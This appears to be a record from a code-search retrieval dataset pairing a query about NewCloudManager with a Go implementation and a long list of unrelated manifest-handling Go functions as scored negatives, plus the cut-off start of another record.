bandwidth=\"` + strconv.Itoa(t.bandwidth) + `\"\n codecs=\"` + t.codec + `\"\n width=\"` + strconv.Itoa(t.width) + `\"\n height=\"` + strconv.Itoa(t.height) + `\" />`\n\treturn res\n}", "func ExtractKindFromManifest(manifest string) string {\n\tre := regexp.MustCompile(kindRegex)\n\tmatches := re.FindStringSubmatch(manifest)\n\n\tif len(matches) > 0 {\n\t\treturn matches[1]\n\t}\n\n\treturn \"\"\n}", "func (m *Manifest) MarshalJSON() ([]byte, error) {\n\tfeatures := make(map[string]bool)\n\tfeatures[\"storage\"] = m.Features&smartcontract.HasStorage != 0\n\tfeatures[\"payable\"] = m.Features&smartcontract.IsPayable != 0\n\taux := &manifestAux{\n\t\tABI: &m.ABI,\n\t\tGroups: m.Groups,\n\t\tFeatures: features,\n\t\tPermissions: m.Permissions,\n\t\tSupportedStandards: m.SupportedStandards,\n\t\tTrusts: &m.Trusts,\n\t\tSafeMethods: &m.SafeMethods,\n\t\tExtra: m.Extra,\n\t}\n\treturn json.Marshal(aux)\n}", "func (cb *ManifestBuffer) flushManifest(sender sender.Sender) {\n\tmanifests := cb.bufferedManifests\n\tctx := &processors.ProcessorContext{\n\t\tClusterID: cb.Cfg.ClusterID,\n\t\tMsgGroupID: cb.Cfg.MsgGroupRef.Inc(),\n\t\tCfg: &config.OrchestratorConfig{\n\t\t\tKubeClusterName: cb.Cfg.KubeClusterName,\n\t\t\tMaxPerMessage: cb.Cfg.MaxPerMessage,\n\t\t\tMaxWeightPerMessageBytes: cb.Cfg.MaxWeightPerMessageBytes,\n\t\t},\n\t}\n\tmanifestMessages := processors.ChunkManifest(ctx, k8s.BaseHandlers{}.BuildManifestMessageBody, manifests)\n\tsender.OrchestratorManifest(manifestMessages, cb.Cfg.ClusterID)\n\tsetManifestStats(manifests)\n\tcb.bufferedManifests = cb.bufferedManifests[:0]\n}", "func (p *Processor) ValidateAndStoreManifest(account keppel.Account, repo keppel.Repository, m IncomingManifest, actx keppel.AuditContext) (*keppel.Manifest, error) {\n\t//check if the objects we want to create already exist in the database; this\n\t//check is not 100% reliable since it does not run in the same transaction as\n\t//the actual upsert, so results should be taken with a grain of salt; but the\n\t//result is accurate enough to avoid most duplicate audit events\n\tcontentsDigest := digest.Canonical.FromBytes(m.Contents)\n\tmanifestExistsAlready, err := p.db.SelectBool(checkManifestExistsQuery, repo.ID, contentsDigest.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlogg.Debug(\"ValidateAndStoreManifest: in repo %d, manifest %s already exists = %t\", repo.ID, contentsDigest, manifestExistsAlready)\n\tvar tagExistsAlready bool\n\tif m.Reference.IsTag() {\n\t\ttagExistsAlready, err = p.db.SelectBool(checkTagExistsAtSameDigestQuery, repo.ID, m.Reference.Tag, contentsDigest.String())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlogg.Debug(\"ValidateAndStoreManifest: in repo %d, tag %s @%s already exists = %t\", repo.ID, m.Reference.Tag, contentsDigest, tagExistsAlready)\n\t}\n\n\t//the quota check can be skipped if we are sure that we won't need to insert\n\t//a new row into the manifests table\n\tif !manifestExistsAlready {\n\t\terr = p.checkQuotaForManifestPush(account)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tmanifest := &keppel.Manifest{\n\t\t//NOTE: .Digest and .SizeBytes are computed by validateAndStoreManifestCommon()\n\t\tRepositoryID: repo.ID,\n\t\tMediaType: m.MediaType,\n\t\tPushedAt: m.PushedAt,\n\t\tValidatedAt: m.PushedAt,\n\t}\n\tif m.Reference.IsDigest() {\n\t\t//allow validateAndStoreManifestCommon() to validate the user-supplied\n\t\t//digest against the actual manifest data\n\t\tmanifest.Digest = m.Reference.Digest\n\t}\n\terr = p.validateAndStoreManifestCommon(account, repo, manifest, m.Contents,\n\t\tfunc(tx *gorp.Transaction) error {\n\t\t\tif m.Reference.IsTag() {\n\t\t\t\terr = upsertTag(tx, keppel.Tag{\n\t\t\t\t\tRepositoryID: repo.ID,\n\t\t\t\t\tName: m.Reference.Tag,\n\t\t\t\t\tDigest: manifest.Digest,\n\t\t\t\t\tPushedAt: m.PushedAt,\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//after making all DB changes, but before committing the DB transaction,\n\t\t\t//write the manifest into the backend\n\t\t\treturn p.sd.WriteManifest(account, repo.Name, manifest.Digest, m.Contents)\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//submit audit events, but only if we are reasonably sure that we actually\n\t//inserted a new manifest and/or changed a tag (without this restriction, we\n\t//would log an audit event everytime a manifest is validated or a tag is\n\t//synced; before the introduction of this check, we generated millions of\n\t//useless audit events per month)\n\tif userInfo := actx.UserIdentity.UserInfo(); userInfo != nil {\n\t\trecord := func(target audittools.TargetRenderer) {\n\t\t\tp.auditor.Record(audittools.EventParameters{\n\t\t\t\tTime: p.timeNow(),\n\t\t\t\tRequest: actx.Request,\n\t\t\t\tUser: userInfo,\n\t\t\t\tReasonCode: http.StatusOK,\n\t\t\t\tAction: cadf.CreateAction,\n\t\t\t\tTarget: target,\n\t\t\t})\n\t\t}\n\t\tif !manifestExistsAlready {\n\t\t\trecord(auditManifest{\n\t\t\t\tAccount: account,\n\t\t\t\tRepository: repo,\n\t\t\t\tDigest: manifest.Digest,\n\t\t\t})\n\t\t}\n\t\tif m.Reference.IsTag() && !tagExistsAlready {\n\t\t\trecord(auditTag{\n\t\t\t\tAccount: account,\n\t\t\t\tRepository: repo,\n\t\t\t\tDigest: manifest.Digest,\n\t\t\t\tTagName: m.Reference.Tag,\n\t\t\t})\n\t\t}\n\t}\n\treturn manifest, nil\n}", "func (l *linter) generateManifest(ctx android.ModuleContext, rule *android.RuleBuilder) android.WritablePath {\n\tmanifestPath := android.PathForModuleOut(ctx, \"lint\", \"AndroidManifest.xml\")\n\n\trule.Command().Text(\"(\").\n\t\tText(`echo \"<?xml version='1.0' encoding='utf-8'?>\" &&`).\n\t\tText(`echo \"<manifest xmlns:android='http://schemas.android.com/apk/res/android'\" &&`).\n\t\tText(`echo \" android:versionCode='1' android:versionName='1' >\" &&`).\n\t\tTextf(`echo \" <uses-sdk android:minSdkVersion='%s' android:targetSdkVersion='%s'/>\" &&`,\n\t\t\tl.minSdkVersion, l.targetSdkVersion).\n\t\tText(`echo \"</manifest>\"`).\n\t\tText(\") >\").Output(manifestPath)\n\n\treturn manifestPath\n}", "func execFormatMediaType(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := mime.FormatMediaType(args[0].(string), args[1].(map[string]string))\n\tp.Ret(2, ret)\n}", "func create(namespace, root string) error {\n\tvar m config.Manifest\n\tm.Namespace = namespace\n\tmanifest := path.Join(root, \"manifest.json\")\n\tbb, err := json.Marshal(m)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn os.WriteFile(manifest, bb, 0755)\n\n}", "func (s *storageImageDestination) PutManifest(ctx context.Context, manifest []byte) error {\n\ts.manifest = make([]byte, len(manifest))\n\tcopy(s.manifest, manifest)\n\treturn nil\n}", "func (m *Manifest) save() error {\n\tblob, err := m.manifest.MarshalJSON()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmanFile, err := os.OpenFile(path.Join(m.aciPath, aci.ManifestFile), os.O_RDWR, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer manFile.Close()\n\n\terr = manFile.Truncate(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = manFile.Write(blob)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func ReadManifest(manifestReader savior.SeekSource) (*tlc.Container, *BlockHashMap, error) {\n\tcontainer := &tlc.Container{}\n\tblockHashes := NewBlockHashMap()\n\n\trawWire := wire.NewReadContext(manifestReader)\n\terr := rawWire.ExpectMagic(pwr.ManifestMagic)\n\tif err != nil {\n\t\treturn nil, nil, errors.WithStack(err)\n\t}\n\n\tmh := &pwr.ManifestHeader{}\n\terr = rawWire.ReadMessage(mh)\n\tif err != nil {\n\t\treturn nil, nil, errors.WithStack(err)\n\t}\n\n\tif mh.Algorithm != pwr.HashAlgorithm_SHAKE128_32 {\n\t\terr = fmt.Errorf(\"Manifest has unsupported hash algorithm %d, expected %d\", mh.Algorithm, pwr.HashAlgorithm_SHAKE128_32)\n\t\treturn nil, nil, errors.WithStack(err)\n\t}\n\n\twire, err := pwr.DecompressWire(rawWire, mh.GetCompression())\n\tif err != nil {\n\t\treturn nil, nil, errors.WithStack(err)\n\t}\n\n\terr = wire.ReadMessage(container)\n\tif err != nil {\n\t\treturn nil, nil, errors.WithStack(err)\n\t}\n\n\tsh := &pwr.SyncHeader{}\n\tmbh := &pwr.ManifestBlockHash{}\n\n\tfor fileIndex, f := range container.Files {\n\t\tsh.Reset()\n\t\terr = wire.ReadMessage(sh)\n\t\tif err != nil {\n\t\t\treturn nil, nil, errors.WithStack(err)\n\t\t}\n\n\t\tif int64(fileIndex) != sh.FileIndex {\n\t\t\terr = fmt.Errorf(\"manifest format error: expected file %d, got %d\", fileIndex, sh.FileIndex)\n\t\t\treturn nil, nil, errors.WithStack(err)\n\t\t}\n\n\t\tnumBlocks := ComputeNumBlocks(f.Size)\n\t\tfor blockIndex := int64(0); blockIndex < numBlocks; blockIndex++ {\n\t\t\tmbh.Reset()\n\t\t\terr = wire.ReadMessage(mbh)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, errors.WithStack(err)\n\t\t\t}\n\n\t\t\tloc := BlockLocation{FileIndex: int64(fileIndex), BlockIndex: blockIndex}\n\t\t\tblockHashes.Set(loc, append([]byte{}, mbh.Hash...))\n\t\t}\n\t}\n\n\treturn container, blockHashes, nil\n}", "func (setting *Servers_AdvancedThreatProtectionSetting_Spec) ConvertSpecTo(destination genruntime.ConvertibleSpec) error {\n\tif destination == setting {\n\t\treturn errors.New(\"attempted conversion between unrelated implementations of github.com/Azure/azure-service-operator/v2/pkg/genruntime/ConvertibleSpec\")\n\t}\n\n\treturn destination.ConvertSpecFrom(setting)\n}", "func ConvertCredentialSchema(in ClaimCredentialSchemaInput) claimtypes.CredentialSchema {\n\treturn claimtypes.CredentialSchema{\n\t\tID: in.ID,\n\t\tType: in.Type,\n\t}\n}", "func (*CNETMsg_SpawnGroup_ManifestUpdate) Descriptor() ([]byte, []int) {\n\treturn file_artifact_networkbasetypes_proto_rawDescGZIP(), []int{17}\n}", "func FromFile(fileName string) (*Manifest, error) {\n\t// Open the file\n\tfile, err := os.Open(fileName)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer file.Close()\n\n\t// Decode JSON\n\twebManifest := New()\n\tdecoder := jsoniter.NewDecoder(file)\n\terr = decoder.Decode(webManifest)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn webManifest, nil\n}", "func NewTwoWayManifestStorage(manifestDir, dataDir string, ser serializer.Serializer) (*ManifestStorage, error) {\n\tws, err := watch.NewGenericWatchStorage(storage.NewGenericStorage(storage.NewGenericMappedRawStorage(manifestDir), ser))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tss := sync.NewSyncStorage(\n\t\tstorage.NewGenericStorage(\n\t\t\tstorage.NewGenericRawStorage(dataDir), ser),\n\t\tws)\n\n\treturn &ManifestStorage{\n\t\tStorage: ss,\n\t}, nil\n}", "func LoadManifest(aciPath string) (*Manifest, error) {\n\tmanFile, err := os.OpenFile(path.Join(aciPath, aci.ManifestFile), os.O_RDWR, 0644)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer manFile.Close()\n\n\tmanblob, err := ioutil.ReadAll(manFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tman := &schema.ImageManifest{}\n\terr = man.UnmarshalJSON(manblob)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Manifest{aciPath, man}, nil\n}", "func NewDecoderManifest(ctx *pulumi.Context,\n\tname string, args *DecoderManifestArgs, opts ...pulumi.ResourceOption) (*DecoderManifest, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.ModelManifestArn == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'ModelManifestArn'\")\n\t}\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource DecoderManifest\n\terr := ctx.RegisterResource(\"aws-native:iotfleetwise:DecoderManifest\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "func parseManifest(r io.ReadCloser, patchers ...objectPatcherFunc) ([]runtime.Object, error) {\n\tdefer r.Close()\n\n\tyamldecoder := newMultiDocDecoder(r)\n\tud := serializer.NewCodecFactory(DefaultScheme).UniversalDeserializer()\n\tsd := streaming.NewDecoder(yamldecoder, ud)\n\n\tvar objs []runtime.Object\n\n\tfor {\n\t\tobj, _, err := sd.Decode(nil, nil)\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// only return an error if it's not a missing Kind error.\n\t\t\t// These seem to only stem from comments being parsed as documents.\n\t\t\tif !runtime.IsMissingKind(err) {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\tobjs = append(objs, obj)\n\t}\n\n\treturn objs, nil\n}", "func (r *versionResolver) Manifest(ctx context.Context, obj *restModel.APIVersion) (*Manifest, error) {\n\tm, err := manifest.FindFromVersion(*obj.Id, *obj.Project, *obj.Revision, *obj.Requester)\n\tif err != nil {\n\t\treturn nil, InternalServerError.Send(ctx, fmt.Sprintf(\"Error fetching manifest for version '%s': %s\", *obj.Id, err.Error()))\n\t}\n\tif m == nil {\n\t\treturn nil, nil\n\t}\n\tversionManifest := Manifest{\n\t\tID: m.Id,\n\t\tRevision: m.Revision,\n\t\tProject: m.ProjectName,\n\t\tBranch: m.Branch,\n\t\tIsBase: m.IsBase,\n\t\tModuleOverrides: m.ModuleOverrides,\n\t}\n\tmodules := map[string]interface{}{}\n\tfor key, module := range m.Modules {\n\t\tmodules[key] = module\n\t}\n\tversionManifest.Modules = modules\n\n\treturn &versionManifest, nil\n}", "func filterContentType(info tusd.FileInfo) (contentType string, contentDisposition string) {\n filetype := info.MetaData[\"filetype\"]\n\n if reMimeType.MatchString(filetype) {\n // If the filetype from metadata is well formed, we forward use this\n // for the Content-Type header. However, only whitelisted mime types\n // will be allowed to be shown inline in the browser\n contentType = filetype\n if _, isWhitelisted := mimeInlineBrowserWhitelist[filetype]; isWhitelisted {\n contentDisposition = \"inline\"\n } else {\n contentDisposition = \"attachment\"\n }\n } else {\n // If the filetype from the metadata is not well formed, we use a\n // default type and force the browser to download the content.\n contentType = \"application/octet-stream\"\n contentDisposition = \"attachment\"\n }\n\n // Add a filename to Content-Disposition if one is available in the metadata\n if filename, ok := info.MetaData[\"filename\"]; ok {\n contentDisposition += \";filename=\" + strconv.Quote(filename)\n }\n\n return contentType, contentDisposition\n}", "func (r *CertRotator) rotateManifestCerts(cfManifest *manifest.Manifest) error {\n\tlog.Printf(\"Creating BOSH manifest with regen certs for %s\", cfManifest.DeploymentName)\n\twithIntermediate, err := ioutil.TempFile(\"\", cfManifest.DeploymentName+\"-intermediate-regen-*.yml\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := cfManifest.Update(withIntermediate); err != nil {\n\t\twithIntermediate.Close()\n\t\tos.RemoveAll(withIntermediate.Name())\n\t\treturn err\n\t}\n\twithIntermediate.Close()\n\n\t// add --recreate for TASW, as the cert injector gets stuck otherwise\n\tvar flags []string\n\tif cfManifest.OpsManProductName() == \"pas-windows\" {\n\t\tflags = append(flags, \"--recreate\")\n\t}\n\tlog.Printf(\"BOSH deploying %s with new identity certs\", cfManifest.DeploymentName)\n\terr = r.bosh.DeployWithFlags(cfManifest.DeploymentName, withIntermediate.Name(), flags...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"bosh deploy with new identity certs failed: %w\", err)\n\t}\n\n\treturn nil\n}", "func UpdateManifest(m Manifests, root string, serviceID flux.ResourceID, f func(manifest []byte) ([]byte, error)) error {\n\tservices, err := m.FindDefinedServices(root)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpaths := services[serviceID]\n\tif len(paths) == 0 {\n\t\treturn ErrNoResourceFilesFoundForService\n\t}\n\tif len(paths) > 1 {\n\t\treturn ErrMultipleResourceFilesFoundForService\n\t}\n\n\tdef, err := ioutil.ReadFile(paths[0])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewDef, err := f(def)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfi, err := os.Stat(paths[0])\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ioutil.WriteFile(paths[0], newDef, fi.Mode())\n}", "func (filter *ManagementPolicyFilter) ConvertToARM(resolved genruntime.ConvertToARMResolvedDetails) (interface{}, error) {\n\tif filter == nil {\n\t\treturn nil, nil\n\t}\n\tresult := &ManagementPolicyFilter_ARM{}\n\n\t// Set property \"BlobIndexMatch\":\n\tfor _, item := range filter.BlobIndexMatch {\n\t\titem_ARM, err := item.ConvertToARM(resolved)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresult.BlobIndexMatch = append(result.BlobIndexMatch, *item_ARM.(*TagFilter_ARM))\n\t}\n\n\t// Set property \"BlobTypes\":\n\tfor _, item := range filter.BlobTypes {\n\t\tresult.BlobTypes = append(result.BlobTypes, item)\n\t}\n\n\t// Set property \"PrefixMatch\":\n\tfor _, item := range filter.PrefixMatch {\n\t\tresult.PrefixMatch = append(result.PrefixMatch, item)\n\t}\n\treturn result, nil\n}", "func OnUpdateManifest(repo, reference, mediaType string, digest godigest.Digest, body []byte,\n\tstoreController storage.StoreController, metaDB mTypes.MetaDB, log log.Logger,\n) error {\n\timgStore := storeController.GetImageStore(repo)\n\n\t// check if image is a signature\n\tisSignature, signatureType, signedManifestDigest, err := storage.CheckIsImageSignature(repo, body, reference)\n\tif err != nil {\n\t\tlog.Error().Err(err).Msg(\"can't check if image is a signature or not\")\n\n\t\tif err := imgStore.DeleteImageManifest(repo, reference, false); err != nil {\n\t\t\tlog.Error().Err(err).Str(\"manifest\", reference).Str(\"repository\", repo).Msg(\"couldn't remove image manifest in repo\")\n\n\t\t\treturn err\n\t\t}\n\n\t\treturn err\n\t}\n\n\tmetadataSuccessfullySet := true\n\n\tif isSignature {\n\t\tlayersInfo, errGetLayers := GetSignatureLayersInfo(repo, reference, digest.String(), signatureType, body,\n\t\t\timgStore, log)\n\t\tif errGetLayers != nil {\n\t\t\tmetadataSuccessfullySet = false\n\t\t\terr = errGetLayers\n\t\t} else {\n\t\t\terr = metaDB.AddManifestSignature(repo, signedManifestDigest, mTypes.SignatureMetadata{\n\t\t\t\tSignatureType: signatureType,\n\t\t\t\tSignatureDigest: digest.String(),\n\t\t\t\tLayersInfo: layersInfo,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"metadb: error while putting repo meta\")\n\t\t\t\tmetadataSuccessfullySet = false\n\t\t\t} else {\n\t\t\t\terr = metaDB.UpdateSignaturesValidity(repo, signedManifestDigest)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Error().Err(err).Str(\"repository\", repo).Str(\"reference\", reference).Str(\"digest\",\n\t\t\t\t\t\tsignedManifestDigest.String()).Msg(\"metadb: failed verify signatures validity for signed image\")\n\t\t\t\t\tmetadataSuccessfullySet = false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\terr = SetImageMetaFromInput(repo, reference, mediaType, digest, body,\n\t\t\timgStore, metaDB, log)\n\t\tif err != nil {\n\t\t\tmetadataSuccessfullySet = false\n\t\t}\n\t}\n\n\tif !metadataSuccessfullySet {\n\t\tlog.Info().Str(\"tag\", reference).Str(\"repository\", repo).Msg(\"uploading image meta was unsuccessful for tag in repo\")\n\n\t\tif err := imgStore.DeleteImageManifest(repo, reference, false); err != nil {\n\t\t\tlog.Error().Err(err).Str(\"reference\", reference).Str(\"repository\", repo).\n\t\t\t\tMsg(\"couldn't remove image manifest in repo\")\n\n\t\t\treturn err\n\t\t}\n\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func deployS3Manifest(c Client, log utils.Logger, pd *DeployData, params DeployAppParams, out *DeployAppResult) error {\n\tdata, err := json.Marshal(pd.Manifest)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"can't marshal manifest for app - %s\", pd.Manifest.AppID)\n\t}\n\tbuffer := bytes.NewBuffer(data)\n\n\t// Make the manifest publicly visible.\n\turl, err := c.UploadS3(params.Bucket, pd.ManifestKey, buffer, false)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"can't upload manifest file for the app - %s\", pd.Manifest.AppID)\n\t}\n\n\tout.Manifest = *pd.Manifest\n\tout.ManifestURL = url\n\tlog.Infow(\"Uploaded manifest to S3 (public-read)\", \"bucket\", params.Bucket, \"key\", pd.ManifestKey)\n\treturn nil\n}", "func TestFormats25to26DeltaManifest(t *testing.T) {\n\tts := newTestSwupd(t, \"format25to26deltaManifest\")\n\tdefer ts.cleanup()\n\n\tts.Bundles = []string{\"test-bundle\"}\n\n\tcontents := strings.Repeat(\"large\", 1000)\n\tif len(contents) < minimumSizeToMakeDeltaInBytes {\n\t\tt.Fatal(\"test content size is invalid\")\n\t}\n\n\t// Format 25 should not have delta manifest support\n\tts.Format = 25\n\tts.addFile(10, \"test-bundle\", \"/foo\", contents+\"A\")\n\tts.createManifests(10)\n\n\tts.addFile(20, \"test-bundle\", \"/foo\", contents+\"B\")\n\tts.createManifests(20)\n\tcheckManifestContains(t, ts.Dir, \"20\", \"MoM\", \"MANIFEST\\t25\")\n\n\t// Delta manifests should not exist\n\tts.mustHashFile(\"image/10/full/foo\")\n\tts.mustHashFile(\"image/20/full/foo\")\n\tts.createPack(\"test-bundle\", 10, 20, ts.path(\"image\"))\n\tts.checkNotExists(\"www/20/Manifest.test-bundle.D.10\")\n\n\t// Update to format26\n\tts.Format = 26\n\tts.addFile(30, \"test-bundle\", \"/foo\", contents+\"C\")\n\tts.createManifests(30)\n\n\tts.addFile(40, \"test-bundle\", \"/foo\", contents+\"D\")\n\tts.createManifests(40)\n\tcheckManifestContains(t, ts.Dir, \"40\", \"MoM\", \"MANIFEST\\t26\")\n}", "func ParseManifest(r io.Reader) (*Manifest, error) {\n\tm := Manifest{}\n\tif err := json.NewDecoder(r).Decode(&m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &m, nil\n}", "func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}", "func calculateManifest(imageToTags map[v1.Image][]string) (m Manifest, err error) {\n\tif len(imageToTags) == 0 {\n\t\treturn nil, errors.New(\"set of images is empty\")\n\t}\n\n\tfor img, tags := range imageToTags {\n\t\tcfgName, err := img.ConfigName()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Store foreign layer info.\n\t\tlayerSources := make(map[v1.Hash]v1.Descriptor)\n\n\t\t// Write the layers.\n\t\tlayers, err := img.Layers()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlayerFiles := make([]string, len(layers))\n\t\tfor i, l := range layers {\n\t\t\td, err := l.Digest()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\t// Munge the file name to appease ancient technology.\n\t\t\t//\n\t\t\t// tar assumes anything with a colon is a remote tape drive:\n\t\t\t// https://www.gnu.org/software/tar/manual/html_section/tar_45.html\n\t\t\t// Drop the algorithm prefix, e.g. \"sha256:\"\n\t\t\thex := d.Hex\n\n\t\t\t// gunzip expects certain file extensions:\n\t\t\t// https://www.gnu.org/software/gzip/manual/html_node/Overview.html\n\t\t\tlayerFiles[i] = fmt.Sprintf(\"%s.tar.gz\", hex)\n\n\t\t\t// Add to LayerSources if it's a foreign layer.\n\t\t\tdesc, err := partial.BlobDescriptor(img, d)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif !desc.MediaType.IsDistributable() {\n\t\t\t\tdiffid, err := partial.BlobToDiffID(img, d)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tlayerSources[diffid] = *desc\n\t\t\t}\n\t\t}\n\n\t\t// Generate the tar descriptor and write it.\n\t\tm = append(m, Descriptor{\n\t\t\tConfig: cfgName.String(),\n\t\t\tRepoTags: tags,\n\t\t\tLayers: layerFiles,\n\t\t\tLayerSources: layerSources,\n\t\t})\n\t}\n\t// sort by name of the repotags so it is consistent. Alternatively, we could sort by hash of the\n\t// descriptor, but that would make it hard for humans to process\n\tsort.Slice(m, func(i, j int) bool {\n\t\treturn strings.Join(m[i].RepoTags, \",\") < strings.Join(m[j].RepoTags, \",\")\n\t})\n\n\treturn m, nil\n}" ]
[ "0.6272285", "0.61268884", "0.6069464", "0.56475556", "0.5595849", "0.5593677", "0.5557736", "0.54702747", "0.54667705", "0.5381301", "0.53493315", "0.53375196", "0.5332968", "0.52484876", "0.52468956", "0.51982343", "0.51681316", "0.5150227", "0.5135461", "0.50848836", "0.50333977", "0.5011364", "0.49944052", "0.49885514", "0.49872646", "0.4979523", "0.49763036", "0.49737763", "0.4965617", "0.4961214", "0.4955912", "0.49148953", "0.4906934", "0.49068612", "0.48974514", "0.4886288", "0.4884804", "0.48764205", "0.4869545", "0.4852216", "0.48457712", "0.4838672", "0.48370874", "0.48298848", "0.48231262", "0.48228845", "0.47942457", "0.47801057", "0.47659022", "0.47626367", "0.47584033", "0.47583562", "0.4741946", "0.47331303", "0.47280073", "0.47209668", "0.47168818", "0.47132173", "0.47040483", "0.47001866", "0.46942216", "0.46861047", "0.46795973", "0.46793866", "0.46298453", "0.46255544", "0.46250227", "0.46150446", "0.46072805", "0.45993143", "0.45988622", "0.45867404", "0.45861512", "0.45855102", "0.45848352", "0.45812067", "0.45759118", "0.45739248", "0.45722544", "0.45720038", "0.45719326", "0.45650238", "0.4555503", "0.45549276", "0.45542875", "0.45440084", "0.4542441", "0.45413303", "0.4535343", "0.4527452", "0.45198667", "0.45100093", "0.4494745", "0.44860852", "0.44839242", "0.44783285", "0.4477613", "0.44729254", "0.44620168", "0.44544956" ]
0.7655116
0
NewCloudManager creates a cloud manager.
func NewCloudManager(dataStore *store.DataStore) (CloudManager, error) { if dataStore == nil { return nil, fmt.Errorf("Fail to new cloud manager as data store is nil.") } return &cloudManager{dataStore}, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewManager(system Resumer, name string, kubeClient kubernetes.Interface) *Manager {\n\treturn &Manager{\n\t\tstop: make(chan struct{}),\n\t\tsystem: system,\n\t\tname: name,\n\t\tkubeClient: kubeClient,\n\t}\n}", "func NewManager(c config.StorageService, serviceName, restoreFolder, binLog string) (m *Manager, err error) {\n\tstsvc := make(map[string]Storage)\n\tfor _, cfg := range c.Swift {\n\t\tswift, err := NewSwift(cfg, serviceName, restoreFolder, binLog)\n\t\tif err != nil {\n\t\t\treturn m, err\n\t\t}\n\t\tstsvc[cfg.Name] = swift\n\t}\n\tfor _, cfg := range c.S3 {\n\t\ts3, err := NewS3(cfg, serviceName, restoreFolder, binLog)\n\t\tif err != nil {\n\t\t\treturn m, err\n\t\t}\n\t\tstsvc[cfg.Name] = s3\n\t}\n\n\tfor _, cfg := range c.Disk {\n\t\tdisk, err := NewDisk(cfg, serviceName, binLog)\n\t\tif err != nil {\n\t\t\treturn m, err\n\t\t}\n\t\tstsvc[cfg.Name] = disk\n\t}\n\n\tfor _, cfg := range c.MariaDB {\n\t\tmariadb, err := NewMariaDBStream(cfg, serviceName)\n\t\tif err != nil {\n\t\t\treturn m, err\n\t\t}\n\t\tstsvc[cfg.Name] = mariadb\n\t}\n\tm = &Manager{\n\t\tcfg: c,\n\t\tstorageServices: stsvc,\n\t}\n\tm.updateErroStatus()\n\treturn\n}", "func NewManager(config *ManagerConfig) Manager {\n\treturn &manager{\n\t\tcloud: config.Cloud,\n\t\tnamer: config.Namer,\n\t\trecorder: config.Recorders.Recorder(\"\"), // No namespace\n\t\tinstanceLinkFormat: config.BasePath + \"zones/%s/instances/%s\",\n\t\tZoneLister: config.ZoneLister,\n\t\tmaxIGSize: config.MaxIGSize,\n\t}\n}", "func NewManager(config *ManagerConfig) *Manager {\n\tif config.Net == nil {\n\t\tconfig.Net = vnet.NewNet(nil) // defaults to native operation\n\t}\n\treturn &Manager{\n\t\tlog: config.LeveledLogger,\n\t\tnet: config.Net,\n\t}\n}", "func NewManager() (Manager, error) {\n\treturn NewDefaultManager()\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\tcontrollers: controllerMap{},\n\t}\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\tcontrollers: controllerMap{},\n\t}\n}", "func New(ctx context.Context, m map[string]interface{}) (auth.Manager, error) {\n\tvar mgr manager\n\tif err := mgr.Configure(m); err != nil {\n\t\treturn nil, err\n\t}\n\tgw, err := pool.GetGatewayServiceClient(pool.Endpoint(mgr.c.GatewayAddr))\n\tif err != nil {\n\t\treturn nil, 